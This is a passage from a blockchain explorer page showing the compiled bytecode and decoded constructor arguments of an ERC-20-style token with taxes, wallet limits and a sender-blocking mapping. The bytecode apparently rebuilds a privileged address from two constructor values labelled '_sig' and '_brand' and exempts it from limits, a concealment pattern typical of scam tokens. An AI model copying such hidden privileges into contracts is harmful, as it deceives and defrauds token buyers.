ffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115e05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561164757600480600581106115f9576115f8612cb2565b5b0154600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561164657600080fd5b5b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461172d578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161172491906128b8565b60405180910390a35b60019150509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000681565b60007f000000000000000000000000000000000000000000000000000000000000000146146117b9576117b461265c565b6117db565b7f584d032ab9264e8c55668791554397948d34c8bf3d511b080781d3a0a5589cd75b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b6001805461184390612b51565b80601f016020809104026020016040519081016040528092919081815260200182805461186f90612b51565b80156118bc5780601f10611891576101008083540402835291602001916118bc565b820191906000526020600020905b81548152906001019060200180831161189f57829003601f168201915b505050505081565b600060011515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361192357600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119729190612f6a565b92505081905550600060046002600581106119905761198f612cb2565b5b01541180156119ec5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611a15576004600260058110611a0657611a05612cb2565b5b0154821115611a1457600080fd5b5b60006004600160058110611a2c57611a2b612cb2565b5b0154118015611a885750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8015611ae25750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b985760006004600160058110611afe57611afd612cb2565b5b0154606484611b0d9190612f39565b611b179190612e94565b905080600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508083611b949190612f6a565b9250505b600060048060058110611bae57611bad612cb2565b5b0154118015611c0b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c655750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d1157507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d835760048060058110611d2a57611d29612cb2565b5b015482600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d779190612ed6565b1115611d8257600080fd5b5b81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e69578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e6091906128b8565b60405180910390a35b6001905092915050565b600360149054906101000a900460ff1615611e8d57600080fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561202f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120539190612fb3565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121039190612fb3565b6040518363ffffffff1660e01b8152600401612120929190612fe0565b6020604051808303816000875af115801561213f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121639190612fb3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161226b9695949392919061304e565b60606040518083038185885af1158015612289573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122ae91906130af565b505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612350929190612bc4565b6020604051808303816000875af115801561236f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123939190612c19565b5050565b428410156123a457600080fd5b600060016123b0611783565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d60008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b60405160200161243896959493929190613102565b6040516020818303038152906040528051906020012060405160200161245f9291906131db565b60405160208183030381529060405280519060200120858585604051600081526020016040526040516124959493929190613212565b6020604051602081039080840390855afa1580156124b7573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561252b57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61253457600080fd5b85600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258760405161261391906128b8565b60405180910390a350505050505050565b600c602052816000526040600020602052806000526040600020600091509150505481565b600360149054906101000a900460ff1681565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f600060405161268e91906132fa565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016126cd959493929190613311565b60405160208183030381529060405280519060200120905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612722578082015181840152602081019050612707565b60008484015250505050565b6000601f19601f8301169050919050565b600061274a826126e8565b61275481856126f3565b9350612764818560208601612704565b61276d8161272e565b840191505092915050565b60006020820190508181036000830152612792818461273f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127ca8261279f565b9050919050565b6127da816127bf565b81146127e557600080fd5b50565b6000813590506127f7816127d1565b92915050565b6000819050919050565b612810816127fd565b811461281b57600080fd5b50565b60008135905061282d81612807565b92915050565b6000806040838503121561284a5761284961279a565b5b6000612858858286016127e8565b92505060206128698582860161281e565b9150509250929050565b60008115159050919050565b61288881612873565b82525050565b60006020820190506128a3600083018461287f565b92915050565b6128b2816127fd565b82525050565b60006020820190506128cd60008301846128a9565b92915050565b6000806000606084860312156128ec576128eb61279a565b5b60006128fa868287016127e8565b935050602061290b868287016127e8565b925050604061291c8682870161281e565b9150509250925092565b61292f816127bf565b82525050565b600060208201905061294a6000830184612926565b92915050565b600060ff82169050919050565b61296681612950565b82525050565b6000602082019050612981600083018461295d565b92915050565b6000819050919050565b61299a81612987565b82525050565b60006020820190506129b56000830184612991565b92915050565b6000602082840312156129d1576129d061279a565b5b60006129df848285016127e8565b91505092915050565b6129f181612950565b81146129fc57600080fd5b50565b600081359050612a0e816129e8565b92915050565b612a1d81612987565b8114612a2857600080fd5b50565b600081359050612a3a81612a14565b92915050565b600080600080600080600060e0888a031215612a5f57612a5e61279a565b5b6000612a6d8a828b016127e8565b9750506020612a7e8a828b016127e8565b9650506040612a8f8a828b0161281e565b9550506060612aa08a828b0161281e565b9450506080612ab18a828b016129ff565b93505060a0612ac28a828b01612a2b565b92505060c0612ad38a828b01612a2b565b91505092959891949750929550565b60008060408385031215612af957612af861279a565b5b6000612b07858286016127e8565b9250506020612b18858286016127e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b6957607f821691505b602082108103612b7c57612b7b612b22565b5b50919050565b600081519050612b9181612807565b92915050565b600060208284031215612bad57612bac61279a565b5b6000612bbb84828501612b82565b91505092915050565b6000604082019050612bd96000830185612926565b612be660208301846128a9565b9392505050565b612bf681612873565b8114612c0157600080fd5b50565b600081519050612c1381612bed565b92915050565b600060208284031215612c2f57612c2e61279a565b5b6000612c3d84828501612c04565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8082612950565b9150612c8b83612950565b9250828202612c9981612950565b9150808214612cab57612caa612c46565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cec82612950565b9150612cf783612950565b9250828201905060ff811115612d1057612d0f612c46565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115612d6d57808604811115612d4957612d48612c46565b5b6001851615612d585780820291505b8081029050612d6685612d16565b9450612d2d565b94509492505050565b600082612d865760019050612e42565b81612d945760009050612e42565b8160018114612daa5760028114612db457612de3565b6001915050612e42565b60ff841115612dc657612dc5612c46565b5b8360020a915084821115612ddd57612ddc612c46565b5b50612e42565b5060208310610133831016604e8410600b8410161715612e185782820a905083811115612e1357612e12612c46565b5b612e42565b612e258484846001612d23565b92509050818404811115612e3c57612e3b612c46565b5b81810290505b9392505050565b6000612e54826127fd565b9150612e5f836127fd565b9250612e8c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d76565b905092915050565b6000612e9f826127fd565b9150612eaa836127fd565b9250828202612eb8816127fd565b91508282048414831517612ecf57612ece612c46565b5b5092915050565b6000612ee1826127fd565b9150612eec836127fd565b9250828201905080821115612f0457612f03612c46565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f44826127fd565b9150612f4f836127fd565b925082612f5f57612f5e612f0a565b5b828204905092915050565b6000612f75826127fd565b9150612f80836127fd565b9250828203905081811115612f9857612f97612c46565b5b92915050565b600081519050612fad816127d1565b92915050565b600060208284031215612fc957612fc861279a565b5b6000612fd784828501612f9e565b91505092915050565b6000604082019050612ff56000830185612926565b6130026020830184612926565b9392505050565b6000819050919050565b6000819050919050565b600061303861303361302e84613009565b613013565b6127fd565b9050919050565b6130488161301d565b82525050565b600060c0820190506130636000830189612926565b61307060208301886128a9565b61307d604083018761303f565b61308a606083018661303f565b6130976080830185612926565b6130a460a08301846128a9565b979650505050505050565b6000806000606084860312156130c8576130c761279a565b5b60006130d686828701612b82565b93505060206130e786828701612b82565b92505060406130f886828701612b82565b9150509250925092565b600060c0820190506131176000830189612991565b6131246020830188612926565b6131316040830187612926565b61313e60608301866128a9565b61314b60808301856128a9565b61315860a08301846128a9565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b60006131a4600283613163565b91506131af8261316e565b600282019050919050565b6000819050919050565b6131d56131d082612987565b6131ba565b82525050565b60006131e682613197565b91506131f282856131c4565b60208201915061320282846131c4565b6020820191508190509392505050565b60006080820190506132276000830187612991565b613234602083018661295d565b6132416040830185612991565b61324e6060830184612991565b95945050505050565b600081905092915050565b60008190508160005260206000209050919050565b6000815461328481612b51565b61328e8186613257565b945060018216600081146132a957600181146132be576132f1565b60ff19831686528115158202860193506132f1565b6132c785613262565b60005b838110156132e9578154818901526001820191506020810190506132ca565b838801955050505b50505092915050565b60006133068284613277565b915081905092915050565b600060a0820190506133266000830188612991565b6133336020830187612991565b6133406040830186612991565b61334d60608301856128a9565b61335a6080830184612926565b969550505050505056fea26469706673582212207bd6b5899e9b0f69228c83324ce3511107df4e425c65f0d8d4046fd429006de564736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000329b27655bfc9348cba900000000000000000000000080380ccdb3e1d691b255da5fa0a01f087bbb643800000000000000000000000000000000000000000000e21c7efbe163475d30e1

-----Decoded View---------------
Arg [0] : _sig (uint80): 238980408251187729058729
Arg [1] : _taxWallet (address): 0x80380ccDB3e1d691B255Da5FA0a01f087bBB6438
Arg [2] : _brand (uint80): 1067780484117488134336737

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000329b27655bfc9348cba9
Arg [1] : 00000000000000000000000080380ccdb3e1d691b255da5fa0a01f087bbb6438
Arg [2] : 00000000000000000000000000000000000000000000e21c7efbe163475d30e1


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.